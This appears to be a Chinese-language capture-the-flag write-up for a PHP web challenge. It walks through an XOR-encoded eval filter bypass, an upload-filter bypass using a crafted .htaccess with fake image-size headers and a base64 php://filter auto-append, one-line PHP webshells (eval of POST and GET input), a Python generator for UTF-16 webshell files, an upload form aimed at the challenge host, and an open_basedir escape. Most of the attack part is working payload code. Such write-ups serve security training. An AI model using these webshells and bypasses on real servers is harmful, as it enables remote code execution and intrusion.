题目源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
先分析命令执行这部分的代码,要求
- $hhh的长度不能大于18
- 不能出现[\x00- 0-9A-Za-z’"`~_&.,|=[\x7F]+这里面的字符
- 这字符串中互不相同的字符的数量不能超过12个
正则匹配过滤了~,|,所以考虑通过异或构造字符(自增构造的payload挺长的…)
//先看一下哪些字符是我们可以使用的
<?php
for($i=0;$i<255;$i++){
$str=chr($i);
if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $str) ){
echo($i.',');
}
}
/*
33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,
*/
#构造payload
def getpayload(str,payload):
for i in [33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254]:
for j in [33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254]:
# print(chr(i^j))
if chr(i^j) == str and hex(j) == '0x81':
payload+=hex(i)[2:]
print(payload)
#想要构建${_GET}{}();即{....^....}{..}();
str = '_GET'
for i in str:
payload=''
getpayload(i,payload)
#构造成${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=phpinfo
这样构造出的payload的长度正好为18,%xx表示url编码后的一个字符
传入?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag
下面分析文件上传这部分
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);//得到上传文件名字的后缀
if(preg_match("/ph/i",$extension)) die("^_^"); //名字中不能含有ph
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
具体要求有:
- 文件后缀名不能含有ph
- 文件里面不能含有‘<?‘
- 需要绕过exif-imagetype的检测
第一点可以想到上传.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能.
也就是说如果目标服务器允许用户修改.htaccess文件我们就可以通过它改变文件拓展名或者访问功能来getshell
第二点文件里面不能含有<?,可以想到用<script language=“php”></script>来绕过,但是由于<script language=“php”></script>在php7之后就不能使用了,但是这道题的版本是
所以就不能使用了,那么就想着将文件中的内容进行编码,然后再利用伪协议解码读出
第三点:要怎么使.htaccess被识别成文件,因为如果直接写GIF89A的话会使得.htaccss文件无法生效
这里采用的方法是
.htaccess
#define width 1337
#define height 1337
AddType application/x-httpd-php .lucky
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.lucky"
采用预定义长高,因为#在htaccess文件中是注释符,所以并不影响文件解析
继续上传shell.lucky
GIF89A12
PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+
解释一下为什么是GIF89A12:按照base64解码机制,应该是4个字节4个字节来进行解码,为了不影响对后面一句话木马的解码,所以要补上2个字节
还有一种绕过方法:
#如果原来使用utf8编码,可以使用utf16绕过
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .lethe\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
if __name__ == '__main__':
generate_htacess()
generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")
写一个文件上传的html文件:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="http://ccaac0c2-5f19-48f3-8eb5-7543825cae0d.node4.buuoj.cn:81/?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="submit"></p>
</form>
</body>
</html>
上传文件,然后采用蚁剑进行连接:
连上之后,发现不能访问根目录,在phpinfo()中进行查看
看到这里可以想到蚁剑有一个绕过disable_functions的插件(蚁剑插件如果不能在插件市场中进行下载可以在https://github.com/AntSword-Store进行下载)
这里就不给演示了(主要是不知道kail又出哪门子毛病了…)
还有一种方法:mkdir('lucky');chdir('lucky');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
因为限制了只能访问/var/www/html/,以及/tmp目录,我自己的理解是,虽然限制了只能读这两个目录,但是每个目录下其实都存在
..
然后通过chdir(’…’)我们就可以来到根目录了
参考
https://blog.youkuaiyun.com/m0_46587008/article/details/111242376
https://blog.youkuaiyun.com/rfrder/article/details/111207725